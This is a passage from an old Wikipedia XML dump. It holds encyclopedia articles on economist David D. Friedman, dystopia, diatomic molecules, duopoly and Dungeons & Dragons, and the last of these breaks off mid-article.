      <timestamp>2006-02-26T11:31:24Z</timestamp>
      <contributor>
        <ip>83.173.209.148</ip>
      </contributor>
      <comment>Category:American_anarchists</comment>
      <text xml:space="preserve">{{libertarianism}}
:''This is an article about the David D. Friedman, a [[U.S.]] [[writer]] and noted [[libertarian]].  For the children's entertainer David Friedman whose family was involved with allegations of child abuse, see [[Capturing the Friedmans]].''  ''For the exploitation filmmaker, see [[David F. Friedman]].''

'''David D. Friedman''' (b. [[1945]]), is a [[libertarian]] writer who became a leading figure in the [[anarcho-capitalism|anarcho-capitalist]] community with the publication of his book ''[[The Machinery of Freedom]]'' ([[1971]]). He has also authored the books ''Price Theory'' ([[1986]]), ''Law's Order'' ([[1999]]) and ''Hidden Order: The Economics of Everyday Life'' ([[1996]]).

He holds a [[Ph.D.]] in [[Physics]] from the [[University of Chicago]], although he is not well known for his work in physics. He is a professor of law at [[Santa Clara University]]. Earlier in his career he was a professor of [[economics]].

David Friedman comes from an impressive academic pedigree.  He is the son of [[Nobel Prize]]-winning economist [[Milton Friedman]]. Also part of the family is sister [[Janet Friedman]], economist mother [[Rose Friedman]], and law professor uncle [[Aaron Director]].

Professor Friedman is also a long time member of the [[Society for Creative Anachronism]], where he is known as ''Cariadoc of the Bow''. He is a [[science fiction]] fan, and has recently sold a [[fantasy]] novel, ''Harald'', to [[Baen Books]].

He is also a contributing editor for ''[[Liberty (1987)|Liberty]]'' magazine.

==External links==
*[http://www.daviddfriedman.com/ David Friedman's personal website]
*[http://daviddfriedman.blogspot.com/ David Friedman's blog]
*[http://groups.google.com/groups?q=author:david+author:friedman&amp;num=100&amp;scoring=d Usenet posts (via Google)]

{{wikiquote}}
{{economist-stub}}

[[Category:1945 births|Friedman, David]]
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[[Category:Political writers|Friedman, David]]
[[Category:Libertarians|Friedman, David]]
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[[Category:Usenet people|Friedman, David]]
[[Category:Anarcho-capitalists|Friedman, David]]
[[Category:American_anarchists|Friedman, David]]

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  <page>
    <title>Dystopia</title>
    <id>7936</id>
    <revision>
      <id>41995211</id>
      <timestamp>2006-03-03T02:43:18Z</timestamp>
      <contributor>
        <ip>70.243.109.94</ip>
      </contributor>
      <comment>/* Traits of dystopian fiction */ fix link to &quot;We&quot;</comment>
      <text xml:space="preserve">:''This article is about the philosophical concept and literary form.  For the Half-Life 2 mod, see [[Dystopia (computer game)]]''.

A '''dystopia''' (alternatively, '''cacotopia''', '''kakotopia''' or '''anti-utopia''') is usually seen as the [[antithesis]] of a [[utopia]]n [[society]]. 

A dystopian society is usually characterized by an [[authoritarianism|authoritarian]] or [[totalitarianism|totalitarian]] [[form of government]], or some other kind of [[oppression|oppressive]] [[social control]].

The first use of the word has been credited to [[John Stuart Mill]], whose knowledge of Greek would suggest that he meant it as a place where things are bad, rather than simply the opposite of Utopia. The Greek prefix 'dys'/'dis' signifies 'ill','bad' or 'abnormal', whereas 'ou' means 'not' ([[Utopia]] means 'nowhere', and is a pun on 'Eutopia' meaning 'happy place' - the prefix 'eu' means 'well'). So 'dystopia' and 'utopia' are not exact opposites in the sense that [[dysphoria]] and [[euphoria]] are opposites.

== Common traits of a dystopian society==

A dystopian society usually exhibits at least one of the following traits from the following non-exhaustive list:

* An apparent Utopian society, free of poverty, disease, conflict, and even unhappiness.  Scratching the surface of the society, however, reveals exactly the opposite.  The exact problem, the way the problem is suppressed, and the chronology of the problem forms the central conflict of the story.
* [[Social stratification]], where [[social class]] is strictly defined and enforced, and [[social mobility]] is non-existent (see [[caste system]]).
* A [[nation-state]] ruled by an [[upper class]] with few democratic ideals
* State [[propaganda]] programs and educational systems that coerce most [[citizen]]s into worshipping the state and its [[government]], in an attempt to convince them into thinking that life under the [[regime]] is good and just, e.g. [[Alan Moore]]'s ''[[V for Vendetta]]''
* Strict conformity among citizens and the general assumption that dissent and individuality are bad
* A state figurehead that people worship fanatically through a vast [[personality cult]], such as ''[[Nineteen Eighty-Four]]''&lt;nowiki&gt;'&lt;/nowiki&gt;s [[Big Brother (1984)|Big Brother]],  ''[[We (novel)|We]]''&lt;nowiki&gt;'&lt;/nowiki&gt;s The Benefactor, or ''[[Equilibrium (2002 film)|Equilibrium]]''&lt;nowiki&gt;'&lt;/nowiki&gt;s [[Father]]
* A fear or disgust of the world outside the state.
* A common view of traditional life, particularly organized religion, as primitive and nonsensical
* Alternatively, complete domination by a state religion, e.g [[Ingsoc]] in the [[Oceania (1984)|Oceania]] of ''[[Nineteen Eighty-Four]]'', the [[Sisterhood of Metacontrol]] in ''[[FAQ: Frequently Asked Questions]]'', the [[Technopriests]] in ''[[The Incal]]'' or [[fundamentalist Christianity]] (with elements of [[Christian reconstructionism|reconstructionism]]) in ''[[Escape from L.A.]]''
* The &quot;memory&quot; of institutions overriding or taking precedence over human memory
* A penal system that lacks due process laws and often employs psychological or physical torture, e.g. [[Alan Moore]]'s ''[[V for Vendetta]]''
* A lack of the key essentials of life for many citizens, like food shortages
* Constant surveillance by government or other agencies, e.g. [[Alan Moore]]'s ''[[V for Vendetta]]''
* Absence or else total co-option of an educated middle class (i.e. teachers, journalists, scientists) who might criticize the regime's leadership
* Militarized police forces and private security forces
* The banishment of the natural world from daily life
* Construction of fictional views of reality that the populace are coerced into believing
* Corruption, impotence or other usurpation of democratic institutions
* Fictional rivalries between groups that actually operate as a cartel
* Insistence by the forces of the establishment that:
** It provides the best of all possible worlds 
** All problems are due to the action of its enemies and their dupes
* An overall slow decay of all systems (political, economic, religion, infrastructure. . .) resulting from people being alienated from nature, the State, society, family, and themselves. Yesterday was better, tomorrow will be worse.
* Everything tends towards [[zero sum]] gain relationships rather than non-zero-sum relationships in a slowly decreasing system.
In dystopian societies, the economic system is one that centers around stability and is structured so that the government or the economic system is immune to change or disruption.  Usually, the industries operate at maximum efficiency and capacity, and then the excess products or currency is absorbed in some way by the state.  In ''[[Nineteen Eighty-Four]]'' people are put on rations and the excess that is produced is absorbed in the &quot;war&quot; that is always occurring with either [[Eurasia]] or [[Eastasia]].  In ''[[Brave New World]]'' the excess produced is sucked up in the extreme consumerism of the population, encouraged by the government.  In ''[[We]]'' the [[One State]] there is no currency or exchange whatsoever, either inside or outside the walls of the society, but everything is provided to the people.

== Traits of dystopian fiction ==

Many films and literature featuring dystopian societies exhibit at least a few of the following traits:

* A selectively-told [[back story]] of a war, revolution, uprising, spike in [[overpopulation]], natural disaster or some other climactic event which resulted in dramatic changes to society
* A standard of living among the lower and middle class that is generally poorer than in contemporary society. This is not always the case, however &amp;mdash; in ''[[Brave New World]]'' and ''[[Equilibrium (2002 film)|Equilibrium]]'', people enjoy much higher material living standards in exchange for the loss of other qualities in their lives, such as independent thought and emotional depth.
* A protagonist who questions the society, often feeling intuitively that something is terribly wrong, such as [[V]] from [[Alan Moore]]'s ''[[V for Vendetta]]''.
* Necessarily, if it is based on our world, a shift in emphasis of control, e.g. to corporations, autocratic cliques or bureaucracies.
* Because dystopian literature takes place in the future, it often features technology more advanced than that of contemporary society.  Usually, the advanced technology is controlled exclusively by the group in power, while the oppressed population is limited to technology comparable to or more primitive than what we have today.

For the reader to engage with it, dystopian fiction typically has one other trait: familiarity. It is not enough to show people living in a society that seems unpleasant. The society must have echoes of today, of the reader's own experience. If the reader can identify the patterns or trends that would lead to the dystopia, it becomes a more involving and effective experience. Authors can use a dystopia effectively to highlight their own concerns about societal trends. For example, [[George Orwell]] originally based the title of ''[[Nineteen Eighty-Four]]'' on the year it was written (1948), because he saw the world he describes emerging in austere postwar [[Europe]].  In similar fashion, [[Ayn Rand]] wrote ''[[Anthem (novella)|Anthem]]'' as a warning against what she saw as the subordination of individual human beings to the state or &quot;the We.&quot; [[Margaret Atwood]] wrote ''[[The Handmaid's Tale]]'' as a warning against the rise of religious fundamentalist totalitarianism in the United States and the hypocrisy of 1970s feminism actually aiding the cause of their worst enemies.

Dystopian fiction is often (but not always) ''unresolved''. That is, the narrative may deal with individuals in a dystopian society who are unsatisfied, and may rebel, but ultimately fail to change anything. Sometimes they themselves end up changed to conform to the society's norms. This narrative arc to a sense of hopelessness in such classic dystopian works as ''[[Nineteen Eighty-Four]]''. It contrasts with much fiction of the future, in which a [[hero]] succeeds in resolving conflicts or otherwise changing things for the better.

There is usually a group of people somewhere in the society who are not under the complete control of the state, and in whom the hero of the novel usually puts his or her hope, although he or she still fails to change anything.  In ''[[Nineteen Eighty-Four]]'' by [[George Orwell]] they are the &quot;proles&quot; (short for &quot;[[proletariat]]&quot;), in ''[[Brave New World]]'' by [[Aldous Huxley]] they are the people on the reservation, and in ''[[We (novel)|We]]'' by [[Zamyatin]] they are the people outside the walls of the [[One State]].

==Criticism of the concept of dystopias==

Just as most modern philosophers, political theorists, and writers have dismissed the idea of the perfect society or &quot;utopia&quot;, many have also expressed skepticism regarding the likelihood of a real-life dystopia of the kind described by Orwell and others. Although there have been many absolutist states in human history, writers such as [[Gregg Easterbrook]] and others have pointed out that such societies tend to rapidly self-destruct or be destroyed by neighbors. [[Dictatorship]]s and similar regimes tend to be short-lived as their policies and actions are almost continually leading to the creation of new potential opponents. For example, the killing or &quot;[[forced disappearance|disappearance]]&quot; of critics or activists only serves to anger their family or friends, who in turn continue the struggle against the regime and so on. 

Absolutist states with [[socialist]] leanings often fail, it is argued, as a result of the unworkable nature of an [[economic system]] which fails to meet the need of the populations for food, work or income, rather than as a result of direct [[persecution]] of their own citizens.

== Depictions of dystopias in various media ==

Dystopias are a common theme in many kinds of fiction. The lists linked below contain extensive lists of works with dystopian themes.

*[[List of dystopian comics]]
*[[List of dystopian literature]]
*[[List of dystopian films]]
*[[List of dystopian music, TV programs, and games]]

== See also ==

* [[Social fiction]]
* [[Soft science fiction]]
* [[Utopia]]
* [[Apocalyptic and post-apocalyptic science fiction]]
* [[fable]] 
* [[cyberpunk]]

[[Category:Literary concepts]]
[[Category:Postmodernism]]
[[Category:Social philosophy]]
[[Category:Science fiction themes]]

[[bg:Антиутопия]]
[[da:Dystopi]]
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[[es:Distopía]]
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[[zh:反乌托邦]]</text>
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  </page>
  <page>
    <title>Diagonal slash argument</title>
    <id>7937</id>
    <revision>
      <id>15905970</id>
      <timestamp>2002-05-06T08:29:20Z</timestamp>
      <contributor>
        <username>AxelBoldt</username>
        <id>2</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Cantor's diagonal argument]]
</text>
    </revision>
  </page>
  <page>
    <title>Diatomic</title>
    <id>7938</id>
    <revision>
      <id>37369830</id>
      <timestamp>2006-01-30T15:55:31Z</timestamp>
      <contributor>
        <username>Kjkolb</username>
        <id>107439</id>
      </contributor>
      <comment>corrected argon percentage</comment>
      <text xml:space="preserve">'''Diatomic molecules''' are molecules formed of exactly two [[atom]]s, of the same or different [[chemical element]]s. '''Diatomic elements''' are those that almost exclusively exist as diatomic molecules, known as '''homonuclear''' diatomic molecules in their natural elemental state when they are not [[chemical bond|chemically bonded]] with other elements. Examples include H&lt;sub&gt;2&lt;/sub&gt; and O&lt;sub&gt;2&lt;/sub&gt;. [[Earth's atmosphere]] is comprised almost completely (99%) of diatomic [[oxygen]] (O&lt;sub&gt;2&lt;/sub&gt;) (21%) and [[nitrogen]] (N&lt;sub&gt;2&lt;/sub&gt;) (78%).  The remaining 1% is predominantly argon (0.9340%)

Oxygen also exists as the ''triatomic'' molecule [[ozone]] (O&lt;sub&gt;3&lt;/sub&gt;).

The diatomic elements are [[hydrogen]], [[nitrogen]], [[oxygen]], and the [[halogen]]s: [[fluorine]], [[chlorine]], [[bromine]], [[iodine]], and [[astatine]]. Astatine is so rare in nature (its most stable [[isotope]] has a [[half-life]] of only 8.1 hours) that it is usually not considered.

The bond in a homonuclear diatomic molecule is non polar and fully [[Covalent bond|covalent]].

Examples of '''heteronuclear''' diatomic molecules include [[carbon monoxide]] (CO) and [[nitric oxide]] (NO).

[[Category:Molecules]]

[[ar:ثنائي الذرة]]</text>
    </revision>
  </page>
  <page>
    <title>Duopoly</title>
    <id>7939</id>
    <revision>
      <id>40906186</id>
      <timestamp>2006-02-23T20:28:59Z</timestamp>
      <contributor>
        <ip>81.105.181.61</ip>
      </contributor>
      <comment>/* Duopoly Models in Economics */</comment>
      <text xml:space="preserve">A true '''duopoly''' is a form of [[oligopoly]] where only two producers exist in a [[market]].  In reality, this definition is generally eased whereby two firms must only have dominant control over a [[market]].  In the field of [[industrial organization]], it is the most commonly studied form of oligopoly due to its simplicity.  

== Duopoly Models in Economics ==

There are two principal duopoly models, [[Cournot duopoly]] and [[Bertrand duopoly]]:

*The '''[[Cournot]]''' model, which shows that two firms react to one another's production (quantity) changes until they reach a [[Nash equilibrium]].
*The '''[[Joseph Louis François Bertrand|Bertrand]]''' model, in which, in a game of two firms, each one of them will assume that the other will not change prices in response to its price cuts. When both firms use this logic, they will reach a [[Nash Equilibrium]].

== Politics ==

Modern [[Politics of the United States|American politics]] has been described as a duopoly since the [[Republican Party (United States)|Republican]] and [[Democratic Party (United States)|Democratic]] parties have dominated and framed [[policy]] debate as well as the public discourse on matters of national concern for about a century and a half. [[Third Parties]] have encountered various obstacles to getting onto ballots at different levels of government, more so in recent decades.

''See [[List of political parties in the United States]] for a more comprehensive look at the politics of the [[Two-party system]],  [[Duverger's law]].''

==Broadcasting==

'''Duopoly''' is also used in the broadcast television and radio industry, referring to a single company owning two outlets in the same city. In the United States, this has been frowned upon when using public airwaves, as it gives too much influence to one company. In [[Canada]], this definition is more commonly called a &quot;[[twinstick]]&quot;.

See also [[concentration of media ownership]].

===Examples in American television===
*[[Cleveland, Ohio]]: [[WOIO]]-[[CBS]] 19 and [[WUAB]]-[[UPN]] 43 ([[Viacom]])
*[[Dayton, Ohio]]: [[WKEF]]-[[American Broadcasting Company|ABC]] 22 and [[WRGT]]-[[Fox]] 45 ([[Sinclair Broadcast Group]])
*[[Buffalo, New York]]: [[WIVB]]-[[CBS]] 4 and [[WNLO]]-[[UPN]] ([[LIN TV]])
*[[Buffalo, New York]]: [[WUTV]]-[[FOX]] 29 and [[WNYO]]-[[WB Television Network|the WB]] ([[Sinclair Broadcast Group]])
*[[Raleigh, North Carolina]]: [[WRAL]]-[[CBS]] 5 and [[WRAZ]]-[[FOX]] 50 ([[Capitol Broadcasting Group]])
*[[Raleigh, North Carolina]]: [[WLFL]]-[[WB Television Network|the WB]] 22 and [[WRDC]]-[[UPN]] 28 ([[Sinclair Broadcast Group]])
*[[Washington, DC]]: [[WTTG]]-[[FOX]] 5 and [[WDCA]]-[[UPN]] 20 ([[Fox]])
*[[New Orleans]]: [[WNOL]]-[[WB Television Network|WB]] 38 and [[WGNO]] [[American Broadcasting Company|ABC]] 26 ([[Tribune Broadcasting]])
*[[Norfolk, Virginia]]: [[WAVY]]-[[National Broadcasting Company|NBC]] 10 and [[WVBT]] [[Fox Broadcasting Company|FOX]] 43 ([[LIN TV]])
*[[New York, New York]]: [[WWOR]] - [[UPN]] 9 and [[WNYW]] - [[Fox]] 5 ([[Fox Television Stations Group]])

==External links==

* [[Monopoly]]
* [[Triopoly]]

[[Category:Market forms]]

[[da:Duopol]]
[[de:Duopol]]
[[es:Duopolio]]
[[fr:Duopole]]
[[he:דואופול]]
[[hu:Duopólium]]
[[ja:複占]]
[[no:Duopol]]</text>
    </revision>
  </page>
  <page>
    <title>Dungeons &amp; Dragons</title>
    <id>7940</id>
    <revision>
      <id>42057977</id>
      <timestamp>2006-03-03T14:43:00Z</timestamp>
      <contributor>
        <username>Android79</username>
        <id>88250</id>
      </contributor>
      <minor />
      <comment>rv linkspam</comment>
      <text xml:space="preserve">{{otheruses}}

{{infobox RPG
|title=Dungeons &amp; Dragons
|image=[[Image:Players hndbk v35 cover.jpg|200px]]
|caption=Player's Handbook for D&amp;D
|designer=[[Gary Gygax]] and [[Dave Arneson]]
|publisher=[[TSR, Inc.|Tactical Studies Rules]]&lt;br&gt;[[Wizards of the Coast]]
|date=[[1974]]
|genre=[[Hack and slash]] [[fantasy]]
|system=[[d20 system]]
|footnotes=
}}
'''''Dungeons &amp; Dragons''''' (abbreviated as '''''D&amp;D''''' or '''''DnD''''') is a [[fantasy]] [[tabletop role-playing game |tabletop]]  [[role-playing game]] (RPG) published by [[Wizards of the Coast]]. The original ''Dungeons &amp; Dragons'', designed by [[Gary Gygax]] and [[Dave Arneson]], was first published in January 1974 by Gygax's company, [[TSR, Inc.|Tactical Studies Rules]] (TSR). Originally derived from [[tabletop wargame]]s, this publication is generally regarded as the beginning of modern role-playing games, and by extension, the role-playing game industry. 
Players of ''D&amp;D'' invent fictitious characters who embark upon imaginary adventures in which they battle many kinds of fictional monsters, gather treasure, and earn [[experience points]] as the game progresses. The game departed from traditional wargaming by assigning each player a specific character to play, as opposed to legions and armies. It also developed the concept of a [[Dungeon Master]] (DM) or [[Gamemaster]] (GM), the storyteller and referee responsible for creating the fictional setting of the game, moderating the actions of the players' characters, and playing the supporting cast of [[non-player character]]s.

The early success of ''Dungeons &amp; Dragons'' quickly led to a proliferation of similar game systems, such as [[RuneQuest]], [[Tunnels and Trolls]], [[Traveller]], and [[Arduin]]. Despite this competition, ''D&amp;D'' has continued to dominate the role-playing game industry throughout its existence, enjoying a nearly impenetrable market position. In [[1977]] the game was split into two slightly different versions: the simpler ''Dungeons &amp; Dragons'' and the more complex '''''Advanced Dungeons &amp; Dragons''''' (abbreviated as '''''AD&amp;D''''' or '''''ADnD''''').  In [[2000]], the simplified version of the game was discontinued and the 3rd Edition of ''Dungeons &amp; Dragons'' was released as a major revision of the ''AD&amp;D'' game. The current version of the game, released in July [[2003]] is ''Dungeons &amp; Dragons v.3.5'' (also known as the Revised 3rd Edition or ''D&amp;D3.5'').

[[As of 2006]], ''Dungeons &amp; Dragons'' remains the best-known and best-selling role-playing game, with an estimated 20 million players worldwide and over [[United States dollar|US$]]1 [[billion]] in book and equipment sales (according to a BBC news report). Products branded ''Dungeons &amp; Dragons'' made up over fifty percent of the RPG products sold in 2002{{citeneeded}}. Outside of the gaming community, &quot;D&amp;D&quot; has become a [[metonym]] used to refer to role-playing games in general. The game also achieved minor notoriety, particularly in the 1980s, due to allegations by some [[Christian fundamentalists]] that it promoted [[devil worship]], [[witchcraft]], [[suicide]], and [[murder]].

==Play overview==
[[Image:Charsheet.jpg|thumb|175px|A 3.5 Edition character sheet]]

''Dungeons &amp; Dragons'' is a structured, yet open-ended, &quot;make-believe&quot; game. Each player in the game typically takes on the role of a single character. The game is presented to the players by the [[Dungeon Master]] (or DM). The DM does not have a single character, like the other players, but acts as a narrator, choosing and describing the other characters, settings, and situations the players' characters encounter. During the course of play, each player will choose the actions of their characters and the results of those actions will be determined by the DM using the rules of the game, which govern everything from combat to social interaction.

The rules of the most recent version of the game are detailed in three [[Dungeons &amp; Dragons manuals|core rulebooks]]: The ''[[Player's Handbook]]'', the ''[[Dungeon Master's Guide]]'', and the ''[[Monster Manual]]''. Additional rulebooks, such as the ''[[Complete Warrior]]'', contain optional rules which can also be used. Abbreviated versions of the rules are available to help beginners learn the game.

The only items required to play the game are the [[Dungeons &amp; Dragons manuals|rulebooks]], a character sheet for each player, and a number of [[dice#non-cubical dice|polyhedral dice]], although there are many optional items which can be used to supplement or enhance the gaming experience, such as pre-designed adventures and [[Dungeons &amp; Dragons campaign settings|campaign settings]]. Special gameboards or cloth mats are sometimes used to visually depict the situations in the game, and miniature figures can be used to provide a three-dimensional representation of the characters. Computer programs are also available for supporting the game.

[[Image:DnD Dice Set.jpg|thumb|250px|left|A set of standard D&amp;D dice: (from left) d4, d6, d8, d12, d20, and two d10s for percentile: ones and tens.]]
Before the game begins, each player creates their own character, recording the details on a character sheet. First, a player will typically roll dice to determine their character's [[Game mechanics (Dungeons &amp; Dragons)#ability scores|ability scores]] (strength, dexterity, constitution, intelligence, wisdom, and charisma).  The player then chooses a [[Race (fantasy)|race]] (such as an [[human]], [[Elf (Dungeons &amp; Dragons)|elf]], or [[Dwarf (Dungeons &amp; Dragons)|dwarf]]) and a [[Character class (Dungeons &amp; Dragons)|character class]] (such as a [[Fighter (Dungeons &amp; Dragons)|fighter]], [[Wizard (Dungeons &amp; Dragons)|wizard]], or [[Rogue (Dungeons &amp; Dragons)|rogue]]). The player will then choose skills and feats for their character, describing specific abilities and talents that the character possesses. The player will also select an [[Alignment (role-playing games)|alignment]] to describe their character's moral and ethical outlook. These choices determine what the character can do and how well they can perform different actions. As the game is played, the character will grow and change as they gain experience and wealth.

When a player chooses to have his character attempt an action (such as punching an opponent or picking a lock), the outcome will be determined by a character's abilities, the difficulty of the task, a random die roll, or by some combination of the three. Different characters will be skilled at accomplishing different things, and the system encourages a well-balanced team of specialised characters.

When characters defeat an enemy or accomplish a difficult task they are awarded an appropriate number of [[experience point]]s (or XP) by the DM. Attaining a certain number of experience points causes a character to advance a &quot;level&quot;, gaining more abilities and improving existing ones.

===Adventures and Campaigns===
[[Image:S3ModuleCover.jpg|thumb|175px|''[[Expedition to the Barrier Peaks|S3: Expedition to the Barrier Peaks]]'' was one of the few adventures released by [[TSR, Inc.|TSR]] to include [[science-fiction]] elements, such as [[ray gun]]s and [[robot]]s.]]

{{main|Adventure (Dungeons &amp; Dragons)}}
A typical ''Dungeons &amp; Dragons'' game consists of an &quot;adventure&quot;, which is roughly equivalent to a single story. After completing one adventure, players will usually start a new adventure while continuing to play the same characters.

Adventures are usually designed by the Dungeon Master, but throughout the history of ''Dungeons &amp; Dragons'', numerous pre-made &quot;adventures&quot; or &quot;modules&quot; have been published. These modules allow DMs to run a game without needing to create their own adventures, and typically include a backstory, maps, and one or more objectives for players' characters to achieve. Some modules include illustrations or hand-outs to supplement the basic gaming experience. Still, despite the convenience of ready-made adventures, many Dungeon Masters take great pride in creating their own, with extensive backstories and highly original dungeon designs often laid out by hand on graph paper.

A series of adventures played through by a common group of characters is commonly referred to as a &quot;campaign&quot;. As a result, the fantasy settings in which D&amp;D games take place are often known as &quot;campaign settings&quot;. Like the individual adventures themselves, many Dungeon Masters create their own fantasy settings, but there are also many official campaign settings which can be purchased. These worlds range from magic-rich to magic-poor, from traditional western settings to exotic oriental fantasies, from sword and sorcery to swashbuckling adventure.

{{seealso|Dungeons &amp; Dragons campaign settings}}

===Miniature figures===
The wargames from which ''Dungeons &amp; Dragons'' evolved used [[miniature figure]]s to represent combatants. ''D&amp;D'' continued the use of miniatures in a fashion similar to its direct precursor, ''Chainmail'', with each figure representing a specific character or monster. While the original rules of ''D&amp;D'' required the use of miniatures to resolve combat situations, the rules quickly evolved to a point where combat could be resolved verbally and miniatures were no longer required for gameplay.

Although no longer essential, miniatures remained popular with players and continued to serve as a useful visual reference, and many gamers took pride in skillful [[figure painting (hobby)|figure painting]]. In the early days of ''D&amp;D'', the miniatures were often placed on [[acetate]]-covered graph paper with walls and other references drawn with grease pencils. As the adventurers moved from one area to another, the grease pencil markings could be wiped off and a new area drawn.

In the 1980s numerous companies began to sell miniature figures specifically for ''Dungeons &amp; Dragons'' and similar games. [[TSR, Inc.|TSR]] partnered with [[Grenadier Miniatures]], who released their figures under the ''Dungeons &amp; Dragons'' brand, while other [[Miniature figure#Manufacturers|miniature manufacturers]] (such as [[Ral Partha]] and [[Citadel Miniatures]]) simply release generic, fantasy-themed figures.

Professional products were also released to serve as grid-references for miniature play, from simple rollable mats printed with square or hexagonal grids, suitable for use with [[non-permanent marker]]s, to elaborate systems of interlocking tiles.  Some players would build entire floor-and-wall sets from wood or cardboard and would invest in large inventories of trees and other model objects to create more realistic environments for their miniatures. Professionally-built sets were later released, as well.

Periodically, ''Dungeons &amp; Dragons'' returned to its wargaming roots with supplementary rules systems for miniatures-based wargaming.  Supplements such as ''[[Battlesystem]]'' (1985 &amp; 1989) and a new edition of ''[[Chainmail (game)|Chainmail]]'' (2001) provided rule systems to handle battles between armies. The ''[[Dungeons &amp; Dragons Miniatures Game]]'' (2003) is sold as sets of plastic, randomly assorted, pre-painted miniatures that can be used as either part of a standard ''Dungeons &amp; Dragons'' game or as a stand-alone [[collectible miniatures game]].

==Game History==
[[Image:Chainmail 3rd edition.jpg|thumb|175px|right|The cover to the game ''[[Chainmail (game)|Chainmail]]'', a ''Dungeons &amp; Dragons'' predecessor.]]
===Influences===
The fantasy game ''Dungeons &amp; Dragons,'' designed by Gary Gygax and Dave Arneson, evolved in the early 1970s from the ''[[Chainmail (game)|Chainmail]]'' system of [[wargaming]] rules by Gary Gygax and Jeff Perren. The game was influenced by [[mythology]], [[pulp magazine|pulp fiction]], and contemporary fantasy authors of the 1960s and 1970s.

The presence of [[halflings]], [[Elf (Dungeons &amp; Dragons)|elves]], [[Dwarf (Dungeons &amp; Dragons)|dwarves]], [[half-elf|half-elves]], [[Orc (Dungeons &amp; Dragons)|orcs]], [[Dragon (Dungeons &amp; Dragons)|dragons]] and the like often draw comparisons to the work of [[Tolkien|J.R.R. Tolkien]], although Gygax maintains that he was influenced very little by ''[[The Lord of the Rings]]'', stating that he included these elements as a marketing move to draw on the then-popularity of the work. Other influences, according to the 1977 edition of the ''Dungeon Master's Guide'', include the works of [[Robert E. Howard]], [[Edgar Rice Burroughs]], [[A. Merritt]], [[H.P. Lovecraft]], [[Jack Vance]], [[Fritz Leiber]], [[L. Sprague de Camp]], [[Michael Moorcock]], [[Roger Zelazny]],  and [[Poul Anderson]].

===Edition history===
{{main|Editions of Dungeons &amp; Dragons}}
''Dungeons &amp; Dragons'' has gone through several revisions. Parallel versions and inconsistent naming practices can make it difficult to distinguish between the different editions.

The original '''''Dungeons and Dragons''''' was published in [[1974]] and was supplemented over the next two years with ''Greyhawk'', ''Blackmoor'', ''Eldritch Wizardry'', and ''Gods, Demi-Gods and Heroes''. Official and popular unofficial rule supplements were also published in the magazines [[The Strategic Review]] and its successor, [[Dragon Magazine]].

[[Image:D&amp;d_Box1st.jpg|thumb|left|175px|The original ''Dungeons &amp; Dragons'' set]]

In 1977, TSR released two new versions of the game: ''Advanced Dungeons &amp; Dragons'' and ''Dungeons &amp; Dragons''.

'''''Dungeons &amp; Dragons''''' was a simpler, sometimes &quot;introductory&quot;, version of the game. In 1977 the ''Dungeons &amp; Dragons Basic Set'', also referred to as the Second Edition, was published as a boxed set. This edition was revised in 1981, which also coincided with the release of an Expert Set to accompany the Basic Set. Between 1983 and 1985 the Third Edition was released in a series of five boxed sets, including the ''Basic Rules'', ''Expert Rules'', ''Companion Rules'', ''Master Rules'', and ''Immortal Rules''. 

The ''Dungeons &amp; Dragons'' game was revised again in 1991. This edition included the ''Dungeons &amp; Dragons Game'' (an introductory boxed set) and the ''Dungeons &amp; Dragons Rules Cyclopedia'' (a hardback manual which included the material from the Basic, Expert, Companion, and Master sets). In 1994 the introductory boxed set was renamed the ''Classic Dungeons &amp; Dragons Game''. In 1999 the introductory box set was revised and released as the ''Dungeons &amp; Dragons Adventure Game''.

'''''Advanced Dungeons &amp; Dragons''''' (or ''AD&amp;D'') was a more complicated version of the game, designed to collect, revise, and expand on the rules from the original version and its supplements. Between 1977 and 1979, three hardcover rulebooks, commonly referred to as the &quot;core rulebooks&quot;, were released: The ''[[Player's Handbook]]'' (PHB), the ''[[Dungeon Master's Guide]]'' (DMG), and the ''[[Monster Manual]]'' (MM).

In 1989, ''AD&amp;D'' was revised for a 2nd Edition (sometimes referred to as ''AD&amp;D2'' or ''2nd Ed''). The game was once again published as three core rulebooks, incorporating the expansions and revisions which had been published in various supplements over the previous decade. The ''Monster Manual'' was replaced by the ''[[Monstrous Compendium]]'', a loose leaf-binder which was later replaced by the hardcover ''[[Monstrous Manual]]'' in 1993.

The release of ''AD&amp;D2'' also corresponded with a policy change at TSR. An effort was made to remove aspects of the game which had attracted negative publicity. Character classes such as the assassin and monk were eliminated, heroic roleplaying and player teamwork were stressed, demons and devils were renamed tanar'ri and baatezu (respectively), and the product artwork became less racy. The target age of the game was also lowered, with most 2nd edition products being aimed primarily at teenagers.  The Second Edition art and marketing were also modified to appeal more to female players.

In 1995, the core rulebooks were slightly revised and a series of ''Player's Option'' manuals were released as &quot;optional core rulebooks&quot;. Although still referred to by TSR as the 2nd Edition, this revision is seen by some fans as a distinct edition of the game and is sometimes referred to as ''AD&amp;D 2.5''.

In 1997, a near-bankrupt TSR was bought by [[Wizards of the Coast]]. The new company almost immediately began designing a new version of the game, which would be released in 2000 as ''Dungeons &amp; Dragons 3rd Edition'' (also referred to as ''D&amp;D3'' or ''3E'' and not to be confused with the 1983 edition of the basic ''D&amp;D'' game). The 3rd Edition was the largest revision of the ''D&amp;D'' rules to date. 3rd edition also served as the basis for a broader role-playing system designed around 20-sided dice, called the [[d20 System]].

The 3rd Edition rules were more internally consistent and significantly less restrictive than previous editions of the game, allowing players much more flexibility in creating the characters they wanted to play. Skills and feats were introduced into the core rules to encourage players to further customize their characters. The new rules also standardized the mechanics of action resolution and combat. 3rd Edition also introduced the concepts of &quot;Prestige Classes&quot; (high-level classes which characters can only enter upon meeting certain character-design prerequisites or fulfilling certain in-game goals) and expanded the idea of high-level campaigns with the ''Epic Level Handbook'' (a supplementary core rulebook).

In 2003, the 3rd Edition rules were revised as ''Dungeons &amp; Dragons v.3.5'' (also known as Revised 3rd Edition or ''D&amp;D3.5''). This release incorporated numerous minor rule changes and expanded the core rulebooks.

A wide variety of optional supplements have been published for every edition of ''D&amp;D''. These supplements commonly include new rules, items, spells, and creatures. Other supplements include new adventures or detail entire fantasy worlds.

The various editions of ''Dungeons &amp; Dragons'' have won many Origins Awards, including ''All Time Best Roleplaying Rules of 1977'', ''Best Roleplaying Rules of 1989'' and ''Best Roleplaying Game of 2000'' for the three flagship editions of the game.

===Influence===
''Dungeons &amp; Dragons'' was the first modern role-playing game, establishing many of the conventions which have dominated the genre. Particularly notable are the use of dice as a resolution mechanic, character record sheets, progressive character development, and game-master-centered group dynamics.

